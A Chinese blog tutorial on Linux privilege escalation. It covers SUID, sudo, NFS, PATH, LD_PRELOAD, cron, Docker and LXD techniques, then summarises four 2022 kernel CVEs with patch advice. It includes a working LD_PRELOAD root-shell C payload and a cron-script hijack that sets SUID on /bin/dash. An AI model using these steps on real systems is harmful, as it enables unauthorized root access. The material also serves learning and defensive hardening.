渗透测试提权-Liinux权限提升

权限提升

windows权限提升
传送门:Windows权限提升



一、 非漏洞提权

1.利用suid二进制文件进行提权

什么是suid
答:只要一个命令文件在属主权限位上的x变成s的话,那么其它用户在执行这个命令文件时,就会以该命令文件的属主用户身份去执行。

SUID权限
1.SUID权限只能设置二进制文件
2.命令执行者要有二进制文件的执行权
3.命令执行者执行二进制文件时会获得该程序的属主身份
4.SUID权限只能在程序执行过程种有效

即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,就是root权限
在Linux系统中,普通权限有r(读)、w(写)、x(执行),这三种权限,但是查看一些其它的文件时,会发现还会有其它权限的字母。例如:s,t 等

例如:查看文件权限
在这里插入图片描述
知识扩展:
在Linux属性中第一位表示文件的类型,2—10位表示权限。

Linux文件类型:
d:文件夹
-:普通文件
l:软链接(类似Windows的快捷方式)
b:块设备文件(例如硬盘、光驱等)
p:管道文件
c:字符设备文件(例如屏幕等串口设备)
s:套接口文件

权限r w x - 含义:
r: 读(r/4):Read对文件而言,具有读取文件内容的权限;对目录来说,具有浏览该目录信息的权限
w: 写(w/2):Write对文件而言,具有修改文件内容的权限;对目录来说具有删除移动目录内文件的权限
x:执行(x/1):execute对文件而言,具有执行文件的权限;对目录来说,具有进入目录的权限
-:“—”表示不具有该项权限

可参考这篇文章
传送门:Linux用户权限

利用
查找具有suid权限的文件:

find / -perm -u=s -type f 2>/dev/null

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

拥有suid权限的程序会从rwx变成rws
在这里插入图片描述

结果大多为/bin文件夹里面的文件,/bin目录下包含了用户命令文件,也就是说find的命令匹配到的/bin目录里的命令大多都可以进行提权操作,在执行相关命令的同时拥有root权限

find命令提权

通过搜索结果我们可以看到,find命令是拥有SUID权限的,接下来我们便利用find命令进行提权
这里需要用到find命令里面的一个参数:
-exec (对匹配的文件执行该参数所给出的shell命令)
exec后面的命令是以分号为结尾的,故 ; 不可省略

find 任意已有文件名 -exec whoami \;

在这里插入图片描述
已知的可以用来提权的Linux可执行文件有: Copy Nmap、Vim、 find 、Bash、 More 、Less、Nano、cp 下面的命令可以发现所有的系统中运行的SUID可执行文件

2.利用sudo进行提权

sudo和su的区别

1.sudu是以root权限去运行一个命令,su是去切换用户的身份。
2.sudo只要知道自己的密码即可,su需要知道被切换用户的密码。

在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令
在这里插入图片描述
Sudoer文件语法

给普通用户设置sudo权限

打开 /etc/sudoers 文件

vim /etc/sudoers

给普通用户test 的wget命令添加sudo权限供下面进行提权测试
找到root权限root ALL=(ALL:ALL) ALL,在下一行输入

test   ALL(ALL:ALL) /usr/bin/wget

或者直接给于用户root权限

test   ALL(ALL:ALL)   ALL

可以利用sudo提权的命令如下:
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

可参考这篇文章
传送门:sudo命令提权

3.NFS配置不当导致的Linux提权

什么是NFS?(通常是局域网内使用)

网络文件系统(NFS)是network file system的缩写,一个客户端/服务器应用程序,用来挂在某个目录或文件进行共享,默认端口2049,功能类似于windows的共享。它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。

NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。

root_sqaush 和 no_root_sqaush
Root Squashing)参数阻止对连接到 NFS 卷的远程 root 用户具有 root 访问权限。远程根用户在连接时会分配一个用户 “ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予 root 用户对所连接系统的访问权限。在配置 NFS 驱动器时,系统管理员应始终使用 “ root_squash ” 参数。
注意:要利用此,no_root_squash 选项得开启。

安装NFS服务端

sudo apt-get install nfs-kernel-server

安装后修改文件/etc/exports,

/home *(rw,no_root_squash)

home是挂载的目录,*代表允许连接的主机
随后重启相关服务:

#nfs通过rpc通信,这里把rpcbind也重启下
sudo /etc/init.d/rpcbind restart
sudo /etc/init.d/nfs-kernel-sever restart

此时就配置好了,可以通过showmount命令来列出目录机的共享目录

首先客户端把目标机nfs的共享挂载到本地,然后把bash复制进去并赋予suid权限
在这里插入图片描述
普通用户执行即可获取root权限,这里注意需要加上p参数,

可参考这篇文章
传送门:NFS提权

4.使用PATH变量进行Linux提权

Linux的path是一个环境变量,它指定了可执行程序所造的目录,例如bin和sbin目录,当我们再终端运行一个命令时,系统会根据path来查找相关的可执行文件

可以执行env命令列出所有的环境变量,然后找到path或者grep进行过滤,或者 echo$path

可参考这篇文章
传送门:PATH提权

5.使用LD_PRELOAD进行Linux提权

LDPRELOAD时linux下的一个环境变量,程序运行时都会加载一些so文件,类似于windows下程序加载dll,而LDPRELOAD可以指定程序运行前加载的动态连接库

先配置sudoers文件,以aaa用户为例,添加一个find命令和一个LD_PRELOAD

aaa ALL=(ALL:ALL)NOPASSWD://usr/bin/find
Default  env_keep +=LD_PRELOAD

要利用此类漏洞,我们需要立即攻击受害者的主机,然后进入到权限提升阶段。假设你现在通过ssh成功登录到受害者的主机上,利用sudo -l命令来检测它并获取利用信息。注意突出显示的环境变量将作为sudo运行环境。
在这里插入图片描述
让我们在/tmp目录中生成一个C程序文件。
在这里插入图片描述

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

然后将其保存为/cmp中的shell.c
如上所述,让我们编译它以生成一个带有.so扩展名的共享对象,同样在Windows操作系统中使用.dll文件,因此输入以下内容:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami

在这里插入图片描述
可参考这篇文章
传送门:LD_PRELOAD提权

6.利用定时任务(Cron)进行Linux提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令,在特定的日期和时间执行计划任务,例如定期备份或者定期清理某个目录等都会用到
在这里插入图片描述
创建一个定时任务

目标:创建一个运行python脚本来擦除特定目录的所有数据
假设目录cleanup就是要擦除的目录,我们希望每隔2分钟就清除1次目录。首先,向该目录中创建一些文件:

mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls

在这里插入图片描述
下面我们写一个python程序来删除 /home/cleanup的内容。

cd /tmp
nano cleanup.py
#!/usr/bin/env python
import os
import sys
try:
   os.system('rm -r /home/cleanup/* ')
except:
    sys.exit()

编辑crontab添加定时任务,每隔2分钟运行一次cleanup.py脚本。

nano /etc/crontab
*/2 *   * * *   root    /tmp /cleanup.py

下面验证一下效果:

cd /home/cleanup
ls
date
ls

在这里插入图片描述
利用
开启攻击机器,入侵目标系统,然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器,并可以访问非root用户终端。然后执行下面的命令:

cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py

从上面的步骤,我们可以看出crontab 每隔2分钟执行一次python脚本。

其实有许多方法可以获取root权限,我们采用开启/bin/dash SUID位的方法。首先,打开文件,比如nano cleanup.py,用下面的命令替换原来命令中的“rm -r /tmp/*”:

os.system('chmod u+s /bin/dash')

在这里插入图片描述
2分钟后,就设置了/bin/dash的SUID权限,运行完成后就获取了root权限。

/bin/dash
id
whoami

提权任务完成。

7.利用DOCKER进行Linux提权

在docker中,是允许访问root用户和docker组中的其他用户的

sudo groupadd docker
#添加docker用户组
sudo gpasswd -a $USER docker
#将当前用户添加至docker用户组

用户在创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。
随后使用docker run来允许alpine镜像,v参数进行挂载,是将宿主机的root目录挂载到alpine的mnt下,使用冒号分隔,i参数总是保持打开状态,t参数是分配一个tty终端,it一般结合使用,即保持通讯终端的打开,

使用命令:

docker images
用于查看本地已下载的镜像

如果不存在,就可以先下载个镜像,然后把root文件夹挂载到上面!!!

docker run alpine chroot 
来下载镜像文件
不存在docker镜像情况下使用

将root文件夹挂载在上面

docker run -it -v /root:/mnt alpine
将文件夹挂载到mnt文件夹

这时docker镜像访问alpine,相当于访问主机的root目录,权限就变成了root

利用方式还有很多,例如宿主机的etc挂载过来,然后查看shadown文件,进行密码破解

8.利用LXD进行Linux提权

LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配,现在社区也有很多种方法可以利用LXD的这种特性来实施攻击。
原理:
用用户创建一个容器,
再用容器挂载宿主机的磁盘,
然后用容器的权限去操作宿主机磁盘内容从而达到提权

这里不作过多解释,原理都一样
可参考这篇文章
传送门: lxd组用户提权至root

二、漏洞提权

1.CAP_SYS_ADMIN导致Kubernetes容器逃逸(CVE-2022-0185)

(1) 漏洞说明

Linux kernel 中发现一个新的安全漏洞CVE-2022-0185。由于Linux内核"File System Context"组件中的一个堆缓存溢出漏洞,攻击者利用该漏洞可以实现越界写、权限提升、DoS 和任意代码执行。使用非特权的命名空间或使用 unshare进入含有 CAP_SYS_ADMIN 权限的命名空间。Docker seccomp 默认拦截unshare命令,所以运行该命令一般是不允许的。

(2) 漏洞影响

大于5.1-rc1 以来的所有 Linux kernel 版本,包括最新5.4.173、5.10.93、5.15.1。也影响 Ubuntu 20/21、Debian 11 和部分 Red Hat Centos 8包。

(3) 危害等级

高危(CVSS 评分7.8)

(4) 修复和缓解建议

升级 Linux kernel 到 5.16.2 版本来修复该漏洞。对于这些暂时没有可用补丁的系统,建议用户禁用非特权用户命名空间。在 Ubuntu 系统中,可以使用以下命令来禁用非特权命名空间:

sysctl -w kernel.unprivileged_userns_clone=0

可以使用以下命令来禁用用户命名空间:

echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf # sysctl -p /etc/sysctl.d/userns.conf

2.TIPC远程堆栈溢出(CVE-2022-0435)

安全研究者在Linux内核用于进程间透明网络模块通信 (TIPC) 协议中发现了本地和远程可访问的堆栈溢出。该模块存在于大多数主要发行版中找到该模块,在该模块加载的情况下就可被利用。此外,对于远程利用目标需要已经设置TIPC承载,即漏洞扩展到使用TIPC系统。漏洞利用非常容易,并且可能导致通过内核拒绝服务崩溃。在没有或绕过堆栈KASLR的情况下,漏洞可能导致任意控制流劫持有效载荷该模块是Linux 4.8版本中的监控框架中引入,并且此后该漏洞一直存在。

(1) 漏洞说明

漏洞在于member_cnt在最初的期间检查,函数不检查是否低于MAX_MON_DOMAIN 定义了 members 数组的最大长度。通过伪装成对等节点并与目标建立链接,在本地或远程,能够首先提交恶意域包含任意有效载荷的记录;发送一个更新域记录,将导致之前的恶意记录被 memcpy到一个272字节的本地struct tipc_mon_domain` &dom_bef[6] 触发堆栈溢出。这样可以通过覆盖以下堆栈的内容&dom_bef 与来自恶意域的任意成员缓冲区首先提交的记录;其大小受媒体限制 MTU(以太网、UDP、Inifiband),目前该漏洞已经出现可以利用Poc并可被直接利用:

(2) 影响范围

Linux Kernel版本 >= 4.8。

CentOS 8默认内核版本受该漏洞影响。

(3) 危害等级

高危(CVSS 评分7.1)

(4) 修复建议

将Linux最新内核升级版本。红帽官方已经发布升级补丁,Centos 8.4可以用过:

yum update kernel

升级。

3.cgroups漏洞容器逃逸和任意命令漏洞(CVE-2022-0492)

漏洞存在于Linux内核control groups组件的cgroups的v1版本,该组件用来实现将进程划分成组,并进行CPU、内存、磁盘IO、网络等资源限制。现代容器(docker)广泛依赖cgroups的特性实现。

(1) 漏洞说明

CVE-2022-0492的主要是因为对release_agent文件的进程是否具有管理权限(即 CAP_SYS_ADMIN 功能)未进行检查导致。攻击者可以通过release_agent强制内核以提升的权限调用选择的二进制文件并接管机器。由于release_agent 文件的所有者设置为root,该漏洞的利用需要具有“root”权限的进程才能写入文件,因此, 该漏洞仅允许root进程提升权限。运行 AppArmor或SELinux安全系统的容器不受影响。

(2) 危害等级

高危(CVSS 评分7.0)

(3) 影响范围

所有运行Root权限运行docker容器的宿主机都受漏洞影响。包括CentOS 8,centOS7和centOS 6。

(4) 修复和缓解建议

将Linux最新内核升级版本。

排查以root权限启动的容器,以非权限账号启动。

启用 AppArmor 或 SELinux。
启用 Seccomp。

4.DirtyPipe本地权限提升漏洞 (CVE-2022-0847)

日Linux内核中的一个权限提升漏洞(CVE-2022-0847,简称“Dirty Pipe”),利用该漏洞普通允用户可以通过注入和覆盖任意只读文件中的数据进行权限提升并获得root权限。漏洞存在于Linux Kernel 5.8及更高版本的内核。目前该漏洞的PoC/EXP已经发布,可以被直接利用。

(1) 漏洞说明

CVE-2022-0847存在于Linux内核5.8及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权root。由于其利用原理类似于脏牛漏洞(Dirty Cow,CVE-2016-5195),但更容易被利用,该漏洞被命名为“Dirty Pipe”。

(2) 危害等级

高危(CVSS 评分7.8)

(3) 影响范围

Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
CentOS 8默认内核版本受该漏洞影响
CentOS 7及以下版本不受CentOS 8
可以具体通过以下命令排查范围:

uname -a

查看当前使用的内核版本,如果该版本在大于5.8则需要更新内核版本到对应的 5.16.11/5.15.25/5.10.102。

(4) 修复建议

需要将Linux内核升级至以下安全版本:

Linux 内核 >= 5.16.11
Linux 内核 >= 5.15.25
Linux 内核 >= 5.10.102

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

是liku不是里库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值